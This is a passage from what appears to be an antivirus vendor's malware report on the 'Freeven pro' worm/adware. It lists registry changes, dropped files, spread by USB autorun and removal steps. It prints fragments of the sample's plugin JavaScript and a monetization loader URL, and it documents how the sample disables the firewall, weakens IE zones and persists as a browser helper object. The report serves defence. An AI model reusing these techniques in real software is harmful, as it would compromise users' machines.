"JavaScript" = "if(typeof jQuery!==undefined&&(jQuery)&&typeof window.navigator!==undefined&&typeof window.navigator.userAgent!==undefined){(function(d,c,e){var a,b;d.uaMatch=function(h){h=h.toLowerCase();var g=/(opr)[\/]([\w.] )/.exec(h)||/(chrome)[ \/]([\w.] )/.exec(h)||/(firefox)[ \/]([\w.] )/.exec(h)||/(webkit)[ \/]([\w.] )/.exec(h)||/(opera)(?:.*version|)[ \/]([\w.] )/.exec(h)||/(msie) ([\w.] )/.exec(h)||h.indexOf(trident)>=0&&/(rv)(?::| )([\w.] )/.exec(h)||h.indexOf(compatible)
[HKCU\Software\Freeven pro\Plugins\191]
"Name" = "ciuvo_m"

[HKCU\Software\Freeven pro\Plugins\91]
"URL" = "http://js.clientstaticserv.com/plugins/mins/monetization/monetizationLoader.js"

[HKCU\Software\Freeven pro\Plugins]
"PopupPluginList" = "42,38,46,41,44,39,35,43,36,4,14,78,13,64,207,47,182,72,94"

[HKCU\Software\Freeven pro\Installer]
"StatsDomain" = "http://stats.clientstaticserv.com"

[HKCU\Software\Freeven pro\Plugins\21]
"JavaScript" = "var CrossriderDebugManager=(function(h){var f={appId:appAPI._cr_config.appID(),url:appAPI._cr_config.debug_app};return h.Class.extend({init:function(){if(appAPI.isMatchPages.apply(this,f.url.debug_page)){h(document).ready(function(){h(body).bindExtensionEvent(debug_request_data,function(j,i){if(i.appId==f.appId){e();}});h(body).bindExtensionEvent(debug_request_reload_background,function(j,i){if(i.appId==f.appId&&appAPI.internal.reloadBackground){appAPI.internal.reloadBackground();}});h(body).bindExtensionEvent(debug_request_reload_plugins,function(j,i){if(i.appId==f.appId){appAPI.resources.requestReload();setTimeout(appAPI.internal.forceUpdate,750);}});h(body).bindExtensionEvent(debug_mode_activate,function(j,i){if(i.appId==f.appId){b(i);}});h(body).bindExtensionEvent(debug_mode_deactivate,function(j,i){if(i.appId==f.appId){d();}});h(body).bindExtensionEvent(debug_request_database,function(j,i){if(i.appId==f.appId){c(i);}});h(body).bindExtensionEvent(debug_request_database_remove,5"0>10?0>0?0:>

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Worm modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Worm modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Worm modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Worm deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process NOTEPAD.EXE:2288 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5D 31 93 D5 0E 96 D6 4A F1 F0 59 6B D8 9E A5 62"

The process NOTEPAD.EXE:2120 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B8 17 A7 EB 6D 16 BC 68 1A 3A 34 B0 62 B4 1E 5F"

The process NOTEPAD.EXE:2332 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0E D1 8D AA A7 4A DB 98 1F 7C D0 E1 13 63 28 B6"

The process NOTEPAD.EXE:556 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4A 8A 59 84 A6 7A 52 F4 61 0A 56 7A 5B 7E C0 C0"

The process NOTEPAD.EXE:836 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "56 BF F8 F9 20 37 7D 7A 80 1D 6D 67 E8 2A AD E0"

The process NOTEPAD.EXE:2228 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "AE F2 14 E4 5F 46 56 47 16 B0 E3 13 BF F3 D6 42"

The process NOTEPAD.EXE:3472 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2A 35 E2 84 00 53 F0 39 14 4E 83 A6 A1 17 01 A7"

The process NOTEPAD.EXE:2524 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DD 29 67 E8 C9 7D 71 78 30 E0 4A 0E 37 6F F0 90"

The process NOTEPAD.EXE:2604 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "85 FD 26 87 02 32 DC 78 54 FD 99 DC 73 35 18 F8"

The process NOTEPAD.EXE:3804 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "BE C9 E6 7D 47 7C C1 F2 37 F1 B9 02 A1 00 3E 08"

The process NOTEPAD.EXE:2896 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "47 8D 34 72 1C FE 6E 6D D4 F5 A3 50 37 75 75 BF"

The process NOTEPAD.EXE:3944 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "45 D2 3F FB EA 01 46 3F B7 94 13 65 F3 2A AD 94"

The process NOTEPAD.EXE:1136 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FF 93 1D 2B D2 5B AF A3 16 17 40 0D F9 0A 45 F3"

The process NOTEPAD.EXE:3852 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6B C2 99 CD 18 66 62 51 DA A7 52 EC FB F7 5C B8"

The process NOTEPAD.EXE:2152 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "96 D8 EF FF 02 7E 40 81 B9 36 99 B1 78 6C B5 97"

The process NOTEPAD.EXE:296 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DC 99 72 A9 DE 8F 96 EA 17 D5 F8 DA 41 3A BD 4C"

The process NOTEPAD.EXE:2516 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "48 80 2A 25 1D 89 12 B4 95 21 E2 F4 13 A7 B7 9E"

The process NOTEPAD.EXE:2188 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D8 A6 EB 90 92 69 20 9A 63 82 96 98 03 87 A3 5C"

The process NOTEPAD.EXE:3896 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "10 17 97 35 F2 01 44 B5 6A 94 B2 56 DD 20 8B 74"

The process netsh.exe:2816 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile]
"DoNotAllowExceptions" = "0"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh\Napmontr]
"BitNames" = " NAP_TRACE_BASE NAP_TRACE_NETSH"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh\Napmontr]
"Guid" = "710adbf0-ce88-40b4-a50d-231ada6593f0"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent\traceIdentifier]
"Guid" = "b0278a28-76f1-4e15-b1df-14b209a12613"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E4 28 6D 50 FD BC 55 2E 61 8D 49 30 73 9F 58 A2"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"
"ControlFlags" = "1"

A firewall is disabled:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile]
"EnableFirewall" = "0"

The process netsh.exe:872 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile]
"DoNotAllowExceptions" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh\Napmontr]
"BitNames" = " NAP_TRACE_BASE NAP_TRACE_NETSH"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh\Napmontr]
"Guid" = "710adbf0-ce88-40b4-a50d-231ada6593f0"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent\traceIdentifier]
"Guid" = "b0278a28-76f1-4e15-b1df-14b209a12613"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "09 07 3D F5 4F F0 60 56 5E 9A B5 D7 76 77 D3 8A"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"ControlFlags" = "1"

A firewall is disabled:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile]
"EnableFirewall" = "0"

The process notepad.exe:2056 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "3F 16 1D CB 6D 88 66 84 4E AB A5 84 D2 22 19 21"

The process regsvr32.exe:2376 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKCR\CLSID\{11111111-1111-1111-1111-110511421148}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Interface\{55555555-5555-5555-5555-550555425548}\ProxyStubClsid]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Interface\{66666666-6666-6666-6666-660566426648}\ProxyStubClsid]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\CLSID\{11111111-1111-1111-1111-110511421148}\ProgID]
"(Default)" = "CrossriderApp0054248.BHO.1"

[HKCR\CLSID\{11111111-1111-1111-1111-110511421148}\Implemented Categories\{59fb2056-d625-48d0-a944-1a85b5ab2640}]
"(Default)" = ""

[HKCR\Interface\{66666666-6666-6666-6666-660566426648}\TypeLib]
"(Default)" = "{44444444-4444-4444-4444-440544424448}"
"Version" = "1.0"

[HKCR\CLSID\{22222222-2222-2222-2222-220522422248}]
"(Default)" = "CrossriderApp0054248.Sandbox"

[HKCR\CrossriderApp0054248.BHO]
"(Default)" = "CrossriderApp0054248"

[HKCR\Interface\{55555555-5555-5555-5555-550555425548}\TypeLib]
"(Default)" = "{44444444-4444-4444-4444-440544424448}"

[HKCR\CLSID\{22222222-2222-2222-2222-220522422248}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\CrossriderApp0054248.BHO\CurVer]
"(Default)" = "CrossriderApp0054248"

[HKCR\CLSID\{11111111-1111-1111-1111-110511421148}\TypeLib]
"(Default)" = "{44444444-4444-4444-4444-440544424448}"

[HKCR\CrossriderApp0054248.Sandbox.1]
"(Default)" = "CrossriderApp0054248.Sandbox"

[HKCR\CLSID\{22222222-2222-2222-2222-220522422248}\TypeLib]
"(Default)" = "{44444444-4444-4444-4444-440544424448}"

[HKCR\TypeLib\{44444444-4444-4444-4444-440544424448}\1.0\0\win32]
"(Default)" = "%Program Files%\Freeven pro\Freeven pro-bho.dll"

[HKCR\CLSID\{22222222-2222-2222-2222-220522422248}\InprocServer32]
"(Default)" = "%Program Files%\Freeven pro\Freeven pro-bho.dll"

[HKCR\Interface\{66666666-6666-6666-6666-660566426648}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\CrossriderApp0054248.BHO.1]
"(Default)" = "CrossriderApp0054248"

[HKCR\Interface\{66666666-6666-6666-6666-660566426648}]
"(Default)" = "ISandBox"

[HKCR\CrossriderApp0054248.Sandbox.1\CLSID]
"(Default)" = "{22222222-2222-2222-2222-220522422248}"

[HKCR\CLSID\{22222222-2222-2222-2222-220522422248}\ProgID]
"(Default)" = "CrossriderApp0054248.Sandbox.1"

[HKCR\CLSID\{22222222-2222-2222-2222-220522422248}\VersionIndependentProgID]
"(Default)" = "CrossriderApp0054248.Sandbox"

[HKCR\CrossriderApp0054248.Sandbox\CLSID]
"(Default)" = "{22222222-2222-2222-2222-220522422248}"

[HKCR\Interface\{55555555-5555-5555-5555-550555425548}\TypeLib]
"Version" = "1.0"

[HKCR\CLSID\{11111111-1111-1111-1111-110511421148}\VersionIndependentProgID]
"(Default)" = "CrossriderApp0054248"

[HKCR\CLSID\{11111111-1111-1111-1111-110511421148}\Implemented Categories]
"(Default)" = ""

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "78 7C B2 F8 08 FC 24 B5 46 43 86 E1 A9 44 DD 68"

[HKCR\CrossriderApp0054248.BHO.1\CLSID]
"(Default)" = "{11111111-1111-1111-1111-110511421148}"

[HKCR\CLSID\{11111111-1111-1111-1111-110511421148}]
"(Default)" = "Freeven pro"

[HKCR\CLSID\{11111111-1111-1111-1111-110511421148}\InprocServer32]
"(Default)" = "%Program Files%\Freeven pro\Freeven pro-bho.dll"

[HKCR\CrossriderApp0054248.BHO\CLSID]
"(Default)" = "{11111111-1111-1111-1111-110511421148}"

[HKCR\TypeLib\{44444444-4444-4444-4444-440544424448}\1.0\HELPDIR]
"(Default)" = "%Program Files%\Freeven pro"

[HKCR\TypeLib\{44444444-4444-4444-4444-440544424448}\1.0]
"(Default)" = "CrossriderApp0054248 Type Library"

[HKCR\CrossriderApp0054248.Sandbox\CurVer]
"(Default)" = "CrossriderApp0054248.Sandbox"

[HKCR\Interface\{55555555-5555-5555-5555-550555425548}]
"(Default)" = "ICrossriderBHO"

[HKCR\CrossriderApp0054248.Sandbox]
"(Default)" = "CrossriderApp0054248.Sandbox"

[HKCR\Interface\{55555555-5555-5555-5555-550555425548}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\TypeLib\{44444444-4444-4444-4444-440544424448}\1.0\FLAGS]
"(Default)" = "0"

It registers itself as a Browser Helper Object (BHO) to ensure its automatic execution every time Internet Explorer is run. It does this by creating the following registry key(s)/entry(ies):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{11111111-1111-1111-1111-110511421148}]
"NoExplorer" = "1"

"(Default)" = "CrossriderApp0054248"

The Worm deletes the following registry key(s):

[HKCR\CLSID\{11111111-1111-1111-1111-110511421148}\Implemented Categories]
[HKCR\CLSID\{22222222-2222-2222-2222-220522422248}\ProgID]
[HKCR\CLSID\{22222222-2222-2222-2222-220522422248}]
[HKCR\CLSID\{11111111-1111-1111-1111-110511421148}\Implemented Categories\{59fb2056-d625-48d0-a944-1a85b5ab2640}]
[HKCR\CLSID\{11111111-1111-1111-1111-110511421148}\Programmable]
[HKCR\CLSID\{11111111-1111-1111-1111-110511421148}\TypeLib]
[HKCR\CLSID\{22222222-2222-2222-2222-220522422248}\InprocServer32]
[HKCR\CLSID\{22222222-2222-2222-2222-220522422248}\Programmable]
[HKCR\CLSID\{11111111-1111-1111-1111-110511421148}\ProgID]
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{11111111-1111-1111-1111-110511421148}]
[HKCR\CLSID\{22222222-2222-2222-2222-220522422248}\TypeLib]
[HKCR\CLSID\{11111111-1111-1111-1111-110511421148}\VersionIndependentProgID]
[HKCR\CLSID\{11111111-1111-1111-1111-110511421148}]
[HKCR\CLSID\{11111111-1111-1111-1111-110511421148}\InprocServer32]
[HKCR\CLSID\{22222222-2222-2222-2222-220522422248}\VersionIndependentProgID]

The process Freeven pro-bg.exe:2444 makes changes in the system registry.

The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A3 9C 3D 98 A6 80 B8 26 7B 83 71 FD 8F 9F 9E 01"

Dropped PE files

MD5	File path
2392e63270923f75c15acc12e0bca68d	c:\Program Files\Freeven pro\875f2efa-2a31-4c0f-be39-9293cb48929c-2.exe
7acbb2626b7c3eb09c3a789fa4c643ef	c:\Program Files\Freeven pro\875f2efa-2a31-4c0f-be39-9293cb48929c-3.exe
8c926c9bddc514d51721810549931684	c:\Program Files\Freeven pro\875f2efa-2a31-4c0f-be39-9293cb48929c-4.exe
d800d4c37b42e60fa009f56dc8c1e55a	c:\Program Files\Freeven pro\875f2efa-2a31-4c0f-be39-9293cb48929c-5.exe
20d685dac506106f6488f014475a4d4c	c:\Program Files\Freeven pro\Freeven pro-bg.exe
6feda0e61a6843511db89969f8485ed9	c:\Program Files\Freeven pro\Freeven pro-bho.dll
c0dc0684d8021439d22d7a553545d02b	c:\Program Files\Freeven pro\Freeven pro-codedownloader.exe
54cb1914f155ee7cb6309400ca3e81e5	c:\Program Files\Freeven pro\Uninstall.exe
323acc3f1ae4165d152a3673c07d6d95	c:\Program Files\Freeven pro\utils.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Worm's file once a user opens a drive's folder in Windows Explorer.

Removals

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):

   875f2efa-2a31-4c0f-be39-9293cb48929c-2.exe:2560
   Qvalysaly.exe:2176
   %original file name%.exe:1860
   875f2efa-2a31-4c0f-be39-9293cb48929c-4.exe:1180
   875f2efa-2a31-4c0f-be39-9293cb48929c-3.exe:508
   WINMINE.EXE:1048
   WINMINE.EXE:3776
   WINMINE.EXE:544
   Freeven pro-codedownloader.exe:2144
   Freeven pro-codedownloader.exe:720
   NOTEPAD.EXE:2288
   NOTEPAD.EXE:2120
   NOTEPAD.EXE:2332
   NOTEPAD.EXE:556
   NOTEPAD.EXE:836
   NOTEPAD.EXE:2228
   NOTEPAD.EXE:3472
   NOTEPAD.EXE:2524
   NOTEPAD.EXE:2604
   NOTEPAD.EXE:3804
   NOTEPAD.EXE:2896
   NOTEPAD.EXE:3944
   NOTEPAD.EXE:1136
   NOTEPAD.EXE:3852
   NOTEPAD.EXE:2152
   NOTEPAD.EXE:296
   NOTEPAD.EXE:2516
   NOTEPAD.EXE:2188
   NOTEPAD.EXE:3896
   netsh.exe:2816
   netsh.exe:872
   notepad.exe:2056
   regsvr32.exe:2376
   Freeven pro-bg.exe:2444
   

2. Delete the original Worm file.
   
3. Delete or disinfect the following files created/modified by the Worm:

   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\update[1].json (39 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\72.js (1552 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\System.dll (11 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\userCode\background.js (429 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\manifest.xml (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\93.js (793 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\1.js (6 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\104.js (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\ExecDos.dll (5 bytes)
   %Program Files%\Freeven pro\background.html (729 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\md5dll.dll (6 bytes)
   %WinDir%\Tasks\875f2efa-2a31-4c0f-be39-9293cb48929c-4.job (70 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\userCode\extension.js (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\182.js (14 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\47.js (7 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\14.js (784 bytes)
   %Program Files%\Freeven pro\Freeven pro-bg.exe (3073 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\44.js (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\28.js (536 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\nsisos.dll (5 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\StdUtils.dll (14 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\141988 (195663 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\64.js (2 bytes)
   %Program Files%\Freeven pro\utils.exe (68126 bytes)
   %Program Files%\Freeven pro\875f2efa-2a31-4c0f-be39-9293cb48929c-2.exe (2105 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\46.js (2 bytes)
   %Program Files%\Freeven pro\54248.crx (1425 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\13.js (6 bytes)
   %Program Files%\Freeven pro\Freeven pro-codedownloader.exe (3073 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\223.js (453 bytes)
   %Program Files%\Freeven pro\875f2efa-2a31-4c0f-be39-9293cb48929c-4.exe (5873 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\38.js (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\22.js (8 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\42.js (6 bytes)
   %WinDir%\Tasks\875f2efa-2a31-4c0f-be39-9293cb48929c-3.job (73 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\UserInfo.dll (4 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\246.js (2 bytes)
   %Program Files%\Freeven pro\875f2efa-2a31-4c0f-be39-9293cb48929c-3.exe (13122 bytes)
   %Program Files%\Freeven pro\Uninstall.exe (601 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn6.tmp\extensionData\plugins\39.js (4 bytes)
   %Program Files%\Freeven pro\360-54248.crx (1425 bytes)
   %Program Files%\Freeven pro\875f2efa-2a31-4c0f-be39-9293cb48929c-5.exe (1425 bytes)
